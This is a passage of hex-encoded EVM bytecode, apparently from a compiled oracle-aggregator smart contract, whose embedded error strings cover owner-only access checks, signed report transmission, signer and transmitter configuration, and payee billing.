506115ab81614aea565b6001600160a01b0380831660009081526028602052604080822080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00009081169091559284168252902080549091169055602980548061160757fe5b60008281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055019055602a80548061166a57fe5b60008281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff000000000000000000000000000000000000000016905501905550611527915050565b60005b8a811015611ad9576000602860008e8e858181106116e857fe5b602090810292909201356001600160a01b031683525081019190915260400160002054610100900460ff16600281111561171e57fe5b14611770576040805162461bcd60e51b815260206004820152601760248201527f7265706561746564207369676e65722061646472657373000000000000000000604482015290519081900360640190fd5b6040805180820190915260ff8216815260016020820152602860008e8e8581811061179757fe5b602090810292909201356001600160a01b031683525081810192909252604001600020825181547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660ff9091161780825591830151909182907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1661010083600281111561182257fe5b02179055506000915060079050818c8c8581811061183c57fe5b6001600160a01b03602091820293909301358316845283019390935260409091016000205416919091141590506118ba576040805162461bcd60e51b815260206004820152601160248201527f7061796565206d75737420626520736574000000000000000000000000000000604482015290519081900360640190fd5b6000602860008c8c858181106118cc57fe5b602090810292909201356001600160a01b031683525081019190915260400160002054610100900460ff16600281111561190257fe5b14611954576040805162461bcd60e51b815260206004820152601c60248201527f7265706561746564207472616e736d6974746572206164647265737300000000604482015290519081900360640190fd5b6040805180820190915260ff8216815260026020820152602860008c8c8581811061197b57fe5b602090810292909201356001600160a01b031683525081810192909252604001600020825181547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660ff9091161780825591830151909182907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16610100836002811115611a0657fe5b021790555090505060298c8c83818110611a1c57fe5b835460018101855560009485526020948590200180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039590920293909301359390931692909217905550602a8a8a83818110611a7e57fe5b835460018181018655600095865260209586902090910180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03969093029490940135949094161790915550016116ce565b50602b805460ff89167501000000000000000000000000000000000000000000027fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff909116179055602d80544363ffffffff9081166401000000009081027fffffffffffffffffffffffffffffffffffffffffffffffff00000000ffffffff84161780831660010183167fffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000909116179384905590910481169116611ba530828f8f8f8f8f8f8f8f614cf6565b602b60000160006101000a8154816fffffffffffffffffffffffffffffffff021916908360801c02179055506000602b60000160106101000a81548164ffffffffff021916908364ffffffffff1602179055507f25d719d88a4512dd76c7442b910a83360845505894eb444ef299409e180f8fb982828f8f8f8f8f8f8f8f604051808b63ffffffff1681526020018a67ffffffffffffffff16815260200180602001806020018760ff1681526020018667ffffffffffffffff1681526020018060200184810384528c8c82818152602001925060200280828437600083820152601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01690910185810384528a8152602090810191508b908b0280828437600083820152601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01690910185810383528681526020019050868680828437600083820152604051601f9091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169092018290039f50909d5050505050505050505050505050a150505050505050505050505050565b6000611da0336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611df992505050565b611df1576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611378614e36565b6000611e058383614e5c565b80611e1857506001600160a01b03831632145b90505b92915050565b7f0000000000000000000000000000000000000001431e0fae6d7217ca9fffffff81565b602f546001600160a01b031690565b6060611e97336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611df992505050565b611ee8576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611378614e8c565b6001546001600160a01b03163314611f4f576040805162461bcd60e51b815260206004820152601660248201527f4d7573742062652070726f706f736564206f776e657200000000000000000000604482015290519081900360640190fd5b60008054337fffffffffffffffffffffffff0000000000000000000000000000000000000000808316821784556001805490911690556040516001600160a01b0390921692909183917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a350565b6000546001600160a01b0316331461201d576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b60315460ff16610dc657603180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556040517faebf329500988c6488a0074e5a0a9ff304561fc5c6fc877aeb1d59c8282c348090600090a1565b6060602a8054806020026020016040519081016040528092919081815260200182805480156120d557602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116120b7575b5050505050905090565b602d54602b5463ffffffff808316926401000000009004169060801b909192565b6000612143336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611df992505050565b612194576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611378614f37565b6000546001600160a01b031633146121fb576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526032602052604090205460ff1615612290576001600160a01b03811660008181526032602090815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055815192835290517f3d68a6fce901d20453d1a7aa06bf3950302a735948037deb182a8db66df2a0d19281900390910190a15b50565b6001600160a01b03818116600090815260076020526040902054163314612301576040805162461bcd60e51b815260206004820152601760248201527f4f6e6c792070617965652063616e207769746864726177000000000000000000604482015290519081900360640190fd5b61229081614aea565b6000546001600160a01b031681565b60408051808201909152602e546001600160a01b0381168083527401000000000000000000000000000000000000000090910463ffffffff16602090920182905291565b600080546001600160a01b03163314806124575750602f54604080517f6b14daf800000000000000000000000000000000000000000000000000000000815233600482018181526024830193845236604484018190526001600160a01b0390951694636b14daf894929360009391929190606401848480828437600083820152604051601f9091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016909201965060209550909350505081840390508186803b15801561242a57600080fd5b505afa15801561243e573d6000803e3d6000fd5b505050506040513d602081101561245457600080fd5b50515b6124a8576040805162461bcd60e51b815260206004820152601d60248201527f4f6e6c79206f776e6572267265717565737465722063616e2063616c6c000000604482015290519081900360640190fd5b6040805160808082018352602b549081901b7fffffffffffffffffffffffffffffffff0000000000000000000000000000000016808352700100000000000000000000000000000000820464ffffffffff81166020808601919091527501000000000000000000000000000000000000000000840460ff9081168688015276010000000000000000000000000000000000000000000090940463ffffffff9081166060808801919091528751948552600884901c909116918401919091529216818501529251919233927f3ea16a923ff4b1df6526e854c9e3a995c43385d70e73359e10623c74f0b52037929181900390910190a2806060015160010163ffffffff1691505090565b6004546001600160a01b031690565b6000806000806000612609336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611df992505050565b61265a576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b61266386614f92565b939a9299509097509550909350915050565b6000546001600160a01b031633146126d4576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b828114612728576040805162461bcd60e51b815260206004820181905260248201527f7472616e736d6974746572732e73697a6520213d207061796565732e73697a65604482015290519081900360640190fd5b60005b838110156128a757600085858381811061274157fe5b905060200201356001600160a01b03169050600084848481811061276157fe5b6001600160a01b0385811660009081526007602090815260409091205492029390930135831693509091169050801580806127ad5750826001600160a01b0316826001600160a01b0316145b6127fe576040805162461bcd60e51b815260206004820152601160248201527f706179656520616c726561647920736574000000000000000000000000000000604482015290519081900360640190fd5b6001600160a01b03848116600090815260076020526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000168583169081179091559083161461289757826001600160a01b0316826001600160a01b0316856001600160a01b03167f78af32efdcad432315431e9b03d27e6cd98fb79c405fdc5af7c1714d9c0f75b360405160405180910390a45b50506001909201915061272b9050565b5050505050565b6000546001600160a01b0316331461290d576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b602f546001600160a01b0390811690821681146112d857602f80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03848116918217909255604080519284168352602083019190915280517f27b89aede8b560578baaa25ee5ce3852c5eecad1e114b941bbd89e1eb4bae6349281900390910190a15050565b6000546001600160a01b031633146129fb576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b612290816150dd565b6001600160a01b03818116600090815260086020526040902054163314612a72576040805162461bcd60e51b815260206004820152601f60248201527f6f6e6c792070726f706f736564207061796565732063616e2061636365707400604482015290519081900360640190fd5b6001600160a01b0381811660008181526007602090815260408083208054337fffffffffffffffffffffffff000000000000000000000000000000000000000080831682179093556008909452828520805490921690915590519416939092849290917f78af32efdcad432315431e9b03d27e6cd98fb79c405fdc5af7c1714d9c0f75b39190a45050565b6000612b40336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611df992505050565b612b91576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611e1b82615176565b6000612bdd336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611df992505050565b612c2e576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611e1b826151ac565b6004546000546001600160a01b039182169116331480612d2f5750604080517f6b14daf800000000000000000000000000000000000000000000000000000000815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f9091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016909201965060209550909350505081840390508186803b158015612d0257600080fd5b505afa158015612d16573d6000803e3d6000fd5b505050506040513d6020811015612d2c57600080fd5b50515b612d80576040805162461bcd60e51b815260206004820181905260248201527f4f6e6c79206f776e65722662696c6c696e6741646d696e2063616e2063616c6c604482015290519081900360640190fd5b612d886146fe565b612d958686868686615201565b505050505050565b6000546001600160a01b0316331480612e95575060048054604080517f6b14daf8000000000000000000000000000000000000000000000000000000008152339381018481526024820192835236604483018190526001600160a01b0390941694636b14daf8949093600093919291606401848480828437600083820152604051601f9091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016909201965060209550909350505081840390508186803b158015612e6857600080fd5b505afa158015612e7c573d6000803e3d6000fd5b505050506040513d6020811015612e9257600080fd5b50515b612ee6576040805162461bcd60e51b815260206004820181905260248201527f4f6e6c79206f776e65722662696c6c696e6741646d696e2063616e2063616c6c604482015290519081900360640190fd5b6000612ef061537b565b600354604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015612f5a57600080fd5b505afa158015612f6e573d6000803e3d6000fd5b505050506040513d6020811015612f8457600080fd5b5051905081811015612fdd576040805162461bcd60e51b815260206004820152601460248201527f696e73756666696369656e742062616c616e6365000000000000000000000000604482015290519081900360640190fd5b6003546001600160a01b031663a9059cbb85612ffb8585038761554b565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561304157600080fd5b505af1158015613055573d6000803e3d6000fd5b505050506040513d602081101561306b57600080fd5b50516130be576040805162461bcd60e51b815260206004820152601260248201527f696e73756666696369656e742066756e64730000000000000000000000000000604482015290519081900360640190fd5b50505050565b60005a90506130d7888888888888615562565b361461312a576040805162461bcd60e51b815260206004820152601960248201527f7472616e736d6974206d65737361676520746f6f206c6f6e6700000000000000604482015290519081900360640190fd5b613132615b59565b6040805160808082018352602b549081901b7fffffffffffffffffffffffffffffffff00000000000000000000000000000000168252700100000000000000000000000000000000810464ffffffffff1660208301527501000000000000000000000000000000000000000000810460ff169282019290925276010000000000000000000000000000000000000000000090910463ffffffff166060808301919091529082526000908a908a908110156131eb57600080fd5b81359160208101359181019060608101604082013564010000000081111561321257600080fd5b82018360208201111561322457600080fd5b8035906020019184602083028401116401000000008311171561324657600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050505060408801525050506080840182905283515190925060589190911b907fffffffffffffffffffffffffffffffff0000000000000000000000000000000080831691161461330d576040805162461bcd60e51b815260206004820152601560248201527f636f6e666967446967657374206d69736d617463680000000000000000000000604482015290519081900360640190fd5b608083015183516020015164ffffffffff808316911610613375576040805162461bcd60e51b815260206004820152600c60248201527f7374616c65207265706f72740000000000000000000000000000000000000000604482015290519081900360640190fd5b83516040015160ff1689116133d1576040805162461bcd60e51b815260206004820152601560248201527f6e6f7420656e6f756768207369676e6174757265730000000000000000000000604482015290519081900360640190fd5b601f891115613427576040805162461bcd60e51b815260206004820152601360248201527f746f6f206d616e79207369676e61747572657300000000000000000000000000604482015290519081900360640190fd5b86891461347b576040805162461bcd60e51b815260206004820152601e60248201527f7369676e617475726573206f7574206f6620726567697374726174696f6e0000604482015290519081900360640190fd5b601f84604001515111156134d6576040805162461bcd60e51b815260206004820152601e60248201527f6e756d206f62736572766174696f6e73206f7574206f6620626f756e64730000604482015290519081900360640190fd5b83600001516040015160020260ff168460400151511161353d576040805162461bcd60e51b815260206004820152601e60248201527f746f6f206665772076616c75657320746f207472757374206d656469616e0000604482015290519081900360640190fd5b8867ffffffffffffffff8111801561355457600080fd5b506040519080825280601f01601f19166020018201604052801561357f576020820181803683370190505b50606085015260005b60ff81168a11156135f057868160ff16602081106135a257fe5b1a60f81b85606001518260ff16815181106135b957fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600101613588565b5083604001515167ffffffffffffffff8111801561360d57600080fd5b506040519080825280601f01601f191660200182016040528015613638576020820181803683370190505b506020850152613646615b8d565b60005b8560400151518160ff16101561374c576000858260ff166020811061366a57fe5b1a90508281601f811061367957fe5b6020020151156136d0576040805162461bcd60e51b815260206004820152601760248201527f6f6273657276657220696e646578207265706561746564000000000000000000604482015290519081900360640190fd5b6001838260ff16601f81106136e157fe5b91151560209283029190910152869060ff84169081106136fd57fe5b1a60f81b87602001518360ff168151811061371457fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535050600101613649565b503360009081526028602090815260408083208151808301909252805460ff8082168452929391929184019161010090910416600281111561378a57fe5b600281111561379557fe5b90525090506002816020015160028111156137ac57fe5b1480156137e05750602a816000015160ff16815481106137c857fe5b6000918252602090912001546001600160a01b031633145b613831576040805162461bcd60e51b815260206004820152601860248201527f756e617574686f72697a6564207472616e736d69747465720000000000000000604482015290519081900360640190fd5b5050835164ffffffffff90911660209091015250506040516000908a908a9080838380828437604051920182900390912094506138729350615b8d92505050565b61387a615bac565b60005b89811015613a915760006001858760600151848151811061389a57fe5b60209101015160f81c601b018e8e868181106138b257fe5b905060200201358d8d878181106138c557fe5b9050602002013560405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015613920573d6000803e3d6000fd5b5050604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08101516001600160a01b03811660009081526028602090815290849020838501909452835460ff8082168552929650929450840191610100900416600281111561398d57fe5b600281111561399857fe5b90525092506001836020015160028111156139af57fe5b14613a01576040805162461bcd60e51b815260206004820152601e60248201527f61646472657373206e6f7420617574686f72697a656420746f207369676e0000604482015290519081900360640190fd5b8251849060ff16601f8110613a1257fe5b602002015115613a69576040805162461bcd60e51b815260206004820152601460248201527f6e6f6e2d756e69717565207369676e6174757265000000000000000000000000604482015290519081900360640190fd5b600184846000015160ff16601f8110613a7e57fe5b911515602090920201525060010161387d565b5050505060005b600182604001515103811015613b4257600082604001518260010181518110613abd57fe5b602002602001015160170b83604001518381518110613ad857fe5b602002602001015160170b1315905080613b39576040805162461bcd60e51b815260206004820152601760248201527f6f62736572766174696f6e73206e6f7420736f72746564000000000000000000604482015290519081900360640190fd5b50600101613a98565b50604081015180516000919060028104908110613b5b57fe5b602002602001015190508060170b7f000000000000000000000000000000000000000000000000000000000000000060170b13158015613bc157507f0000000000000000000000000000000000000001431e0fae6d7217ca9fffffff60170b8160170b13155b613c12576040805162461bcd60e51b815260206004820152601e60248201527f6d656469616e206973206f7574206f66206d696e2d6d61782072616e67650000604482015290519081900360640190fd5b81516060908101805163ffffffff60019091018116909152604080518082018252601785810b80835267ffffffffffffffff42811660208086019182528a5189015188166000908152602c82528781209651875493519094167801000000000000000000000000000000000000000000000000029390950b77ffffffffffffffffffffffffffffffffffffffffffffffff9081167fffffffffffffffff0000000000000000000000000000000000000000000000009093169290921790911691909117909355875186015184890151848a01516080808c015188519586523386890181905291860181905260a0988601898152845199870199909952835194909916997ff6a97944f31ea060dfde0566e4167c1a1082551e64b60ecb14d599a9d023d451998c999298949793969095909492939185019260c086019289820192909102908190849084905b83811015613d75578181015183820152602001613d5d565b50505050905001838103825285818151815260200191508051906020019080838360005b83811015613db1578181015183820152602001613d99565b50505050905090810190601f168015613dde5780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390a281516060015160408051428152905160009263ffffffff16917f0109fc6f55cf40689f02fbaad7af7fe7bbac8a3d2186600afc7d3e10cac60271919081900360200190a381600001516060015163ffffffff168160170b7f0559884fd3a460db3073b7fc896cc77986f16e378210ded43186175bf646fc5f426040518082815260200191505060405180910390a3613e938260000151606001518260170b61557a565b5080518051602b8054602084015160408501516060909501517fffffffffffffffffffffffffffffffff0000000000000000000000000000000090921660809490941c939093177fffffffffffffffffffffff0000000000ffffffffffffffffffffffffffffffff1670010000000000000000000000000000000064ffffffffff90941693909302929092177fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16750100000000000000000000000000000000000000000060ff90941693909302929092177fffffffffffff00000000ffffffffffffffffffffffffffffffffffffffffffff1676010000000000000000000000000000000000000000000063ffffffff92831602179091558210613fb457fe5b613fc28282602001516156ba565b505050505050505050565b600354604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905160009283926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561403657600080fd5b505afa15801561404a573d6000803e3d6000fd5b505050506040513d602081101561406057600080fd5b50519050600061406e61537b565b90910391505090565b60315460ff1681565b6001600160a01b03811660009081526028602090815260408083208151808301909252805460ff8082168452859484019161010090041660028111156140c257fe5b60028111156140cd57fe5b90525090506000816020015160028111156140e457fe5b14156140f4576000915050610f0e565b60016005826000015160ff16601f811061410a57fe5b601091828204019190066002029054906101000a900461ffff1603915050919050565b600080808080333214614187576040805162461bcd60e51b815260206004820152601460248201527f4f6e6c792063616c6c61626c6520627920454f41000000000000000000000000604482015290519081900360640190fd5b5050602b5463ffffffff760100000000000000000000000000000000000000000000820481166000908152602c6020526040902054608083901b96700100000000000000000000000000000000909304600881901c909216955064ffffffffff9091169350601781900b92507801000000000000000000000000000000000000000000000000900467ffffffffffffffff1690565b6003546001600160a01b031690565b6000546001600160a01b0316331461428a576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b60408051808201909152602e546001600160a01b038082168084527401000000000000000000000000000000000000000090920463ffffffff16602084015284161415806142e857508163ffffffff16816020015163ffffffff1614155b156143bb576040805180820182526001600160a01b0385811680835263ffffffff8681166020948501819052602e80547fffffffffffffffffffffffff00000000000000000000000000000000000000001684177fffffffffffffffff00000000ffffffffffffffffffffffffffffffffffffffff16740100000000000000000000000000000000000000008302179055865187860151875193168352948201528451919493909216927fb04e3a37abe9c0fcdfebdeae019a8e2b12ddf53f5d55ffb0caccc1bedaca1541928290030190a35b505050565b6001600160a01b0382811660009081526007602052604090205416331461442e576040805162461bcd60e51b815260206004820152601d60248201527f6f6e6c792063757272656e742070617965652063616e20757064617465000000604482015290519081900360640190fd5b336001600160a01b038216141561448c576040805162461bcd60e51b815260206004820152601760248201527f63616e6e6f74207472616e7366657220746f2073656c66000000000000000000604482015290519081900360640190fd5b6001600160a01b03808316600090815260086020526040902080548383167fffffffffffffffffffffffff0000000000000000000000000000000000000000821681179092559091169081146143bb576040516001600160a01b038084169133918616907f84f7c7c80bb8ed2279b4aab5f61cd05e6374073d38f46d7f32de8c30e9e3836790600090a4505050565b6000546001600160a01b0316331461457a576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383811691821790925560008054604051929316917fed8889f560326eb138920d842192f0eb3dd22b4f139c87a2c57538e05bae12789190a350565b6000546001600160a01b03163314614642576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b61229081615907565b6000806000806000614694336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611df992505050565b6146e5576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6146ed615996565b945094509450945094509091929394565b6040805160a08101825260025463ffffffff80821683526401000000008204811660208401526801000000000000000082048116838501526c0100000000000000000000000082048116606084015270010000000000000000000000000000000090910416608082015260035482516103e081019384905291926001600160a01b0390911691600091600590601f908285855b82829054906101000a900461ffff1661ffff1681526020019060020190602082600101049283019260010382029150808411614791575050604080516103e0810191829052959650600095945060099350601f9250905082845b8154815260200190600101908083116147eb57505050505090506000602a80548060200260200160405190810160405280929190818152602001828054801561485d57602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161483f575b5050505050905060005b8151811015614a9257600060018483601f811061488057fe5b6020020151039050600060018684601f811061489857fe5b60200201510361ffff169050600082896060015163ffffffff168302633b9aca00020190506000811115614a87576000600760008787815181106148d857fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060009054906101000a90046001600160a01b03169050886001600160a01b031663a9059cbb82846040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561496d57600080fd5b505af1158015614981573d6000803e3d6000fd5b505050506040513d602081101561499757600080fd5b50516149ea576040805162461bcd60e51b815260206004820152601260248201527f696e73756666696369656e742066756e64730000000000000000000000000000604482015290519081900360640190fd5b60018886601f81106149f857fe5b61ffff909216602092909202015260018786601f8110614a1457fe5b602002018181525050886001600160a01b0316816001600160a01b0316878781518110614a3d57fe5b60200260200101516001600160a01b03167fd0b1dac935d85bd54cf0a33b0d41d39f8cf53a968465fc7ea2377526b8ac712c856040518082815260200191505060405180910390a4505b505050600101614867565b50614aa0600584601f615bc3565b50612d95600983601f615c59565b602b54760100000000000000000000000000000000000000000000900463ffffffff166000908152602c6020526040902054601790810b900b90565b6001600160a01b03811660009081526028602090815260408083208151808301909252805460ff80821684529293919291840191610100909104166002811115614b3057fe5b6002811115614b3b57fe5b90525090506000614b4b83610dc8565b905080156143bb576001600160a01b0380841660009081526007602090815260408083205460035482517fa9059cbb000000000000000000000000000000000000000000000000000000008152918616600483018190526024830188905292519295169363a9059cbb9360448084019491939192918390030190829087803b158015614bd657600080fd5b505af1158015614bea573d6000803e3d6000fd5b505050506040513d6020811015614c0057600080fd5b5051614c53576040805162461bcd60e51b815260206004820152601260248201527f696e73756666696369656e742066756e64730000000000000000000000000000604482015290519081900360640190fd5b60016005846000015160ff16601f8110614c6957fe5b601091828204019190066002026101000a81548161ffff021916908361ffff16021790555060016009846000015160ff16601f8110614ca457fe5b01556003546040805184815290516001600160a01b039283169284811692908816917fd0b1dac935d85bd54cf0a33b0d41d39f8cf53a968465fc7ea2377526b8ac712c9181900360200190a450505050565b60008a8a8a8a8a8a8a8a8a8a604051602001808b6001600160a01b031681526020018a67ffffffffffffffff16815260200180602001806020018760ff1681526020018667ffffffffffffffff1681526020018060200184810384528c8c82818152602001925060200280828437600083820152601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01690910185810384528a8152602090810191508b908b0280828437600083820152601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01690910185810383528681526020019050868680828437600081840152601f19601f8201169050808301925050509d50505050505050505050505050506040516020818303038152906040528051906020012090509a9950505050505050505050565b602b54760100000000000000000000000000000000000000000000900463ffffffff1690565b6001600160a01b03821660009081526032602052604081205460ff1680611e1857505060315460ff161592915050565b60308054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156120d55780601f10614f0b576101008083540402835291602001916120d5565b820191906000526020600020905b815481529060010190602001808311614f1957509395945050505050565b602b54760100000000000000000000000000000000000000000000900463ffffffff166000908152602c60205260409020547801000000000000000000000000000000000000000000000000900467ffffffffffffffff1690565b600080600080600063ffffffff8669ffffffffffffffffffff1611156040518060400160405280600f81526020017f4e6f20646174612070726573656e7400000000000000000000000000000000008152509061506d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561503257818101518382015260200161501a565b50505050905090810190601f16801561505f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5050505063ffffffff83166000908152602c6020908152604091829020825180840190935254601781810b810b810b808552780100000000000000000000000000000000000000000000000090920467ffffffffffffffff1693909201839052949594900b939092508291508490565b6001600160a01b03811660009081526032602052604090205460ff16612290576001600160a01b03811660008181526032602090815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055815192835290517f87286ad1f399c8e82bf0c4ef4fcdc570ea2e1e92176e5c848b6413545b885db49281900390910190a150565b600063ffffffff82111561518c57506000610f0e565b5063ffffffff166000908152602c6020526040902054601790810b900b90565b600063ffffffff8211156151c257506000610f0e565b5063ffffffff166000908152602c60205260409020547801000000000000000000000000000000000000000000000000900467ffffffffffffffff1690565b6040805160a0808201835263ffffffff88811680845288821660208086018290528984168688018190528985166060808901829052958a166080988901819052600280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000001687177fffffffffffffffffffffffffffffffffffffffffffffffff00000000ffffffff166401000000008702177fffffffffffffffffffffffffffffffffffffffff00000000ffffffffffffffff16680100000000000000008502177fffffffffffffffffffffffffffffffff00000000ffffffffffffffffffffffff166c010000000000000000000000008402177fffffffffffffffffffffffff00000000ffffffffffffffffffffffffffffffff16700100000000000000000000000000000000830217905589519586529285019390935283880152928201529283015291517fd0d9486a2c673e2a4b57fc82e4c8a556b3e2b82dd5db07e2c04a920ca0f469b6929181900390910190a15050505050565b604080516103e0810191829052600091829190600590601f908285855b82829054906101000a900461ffff1661ffff16815260200190600201906020826001010492830192600103820291508084116153985790505050505050905060005b601f8110156154085760018282601f81106153f157fe5b60200201510361ffff1692909201916001016153da565b506040805160a08101825260025463ffffffff8082168352640100000000820481166020808501919091526801000000000000000083048216848601526c0100000000000000000000000083048216606085018190527001000000000000000000000000000000009093049091166080840152602a805485518184028101840190965280865296909202633b9aca00029592936000939092918301828280156154da57602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116154bc575b5050604080516103e0810191829052949550600094935060099250601f915082845b8154815260200190600101908083116154fc575050505050905060005b82518110156155435760018282601f811061553057fe5b6020020151039590950194600101615519565b505050505090565b60008183101561555c575081611e1b565b50919050565b602083810286019082020160e4019695505050505050565b60408051808201909152602e546001600160a01b0381168083527401000000000000000000000000000000000000000090910463ffffffff1660208301526155c257506112d8565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff830163ffffffff8181166000818152602c602090815260408083205487518884015183517fbeed9b510000000000000000000000000000000000000000000000000000000081526004810197909752601792830b90920b602487018190528b88166044880152606487018b9052925192966001600160a01b039091169563beed9b51959290911693608480830194919391928390030190829088803b15801561568b57600080fd5b5087f1935050505080156156b157506040513d60208110156156ac57600080fd5b505160015b612d95576128a7565b3360009081526028602090815260408083208151808301909252805460ff808216845292939192918401916101009091041660028111156156f757fe5b600281111561570257fe5b9052506040805160a08101825260025463ffffffff80821683526401000000008204811660208401526801000000000000000082048116838501526c0100000000000000000000000082048116606084015270010000000000000000000000000000000090910416608082015281516103e0810192839052929350916157d291859190600590601f90826000855b82829054906101000a900461ffff1661ffff16815260200190600201906020826001010492830192600103820291508084116157905790505050505050615a1a565b6157e090600590601f615bc3565b506002826020015160028111156157f357fe5b14615845576040805162461bcd60e51b815260206004820181905260248201527f73656e7420627920756e64657369676e61746564207472616e736d6974746572604482015290519081900360640190fd5b600061586c633b9aca003a04836020015163ffffffff16846000015163ffffffff16615a8f565b90506010360260005a9050600061588b8863ffffffff16858585615ab5565b6fffffffffffffffffffffffffffffffff1690506000620f4240866040015163ffffffff168302816158b957fe5b049050856080015163ffffffff16633b9aca0002816009896000015160ff16601f81106158e257fe5b015401016009886000015160ff16601f81106158fa57fe5b0155505050505050505050565b6004546001600160a01b0390811690821681146112d857600480547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03848116918217909255604080519284168352602083019190915280517f793cb73064f3c8cde7e187ae515511e6e56d1ee89bf08b82fa60fb70f8d489129281900390910190a15050565b602b54760100000000000000000000000000000000000000000000900463ffffffff166000818152602c6020908152604091829020825180840190935254601781810b810b810b808552780100000000000000000000000000000000000000000000000090920467ffffffffffffffff1693909201839052929392900b9181908490565b615a22615b8d565b60005b8351811015615a87576000848281518110615a3c57fe5b016020015160f81c9050615a618482601f8110615a5557fe5b60200201516001615b41565b848260ff16601f8110615a7057fe5b61ffff909216602092909202015250600101615a25565b509092915050565b60008383811015615aa257600285850304015b615aac818461554b565b95945050505050565b600081851015615b0c576040805162461bc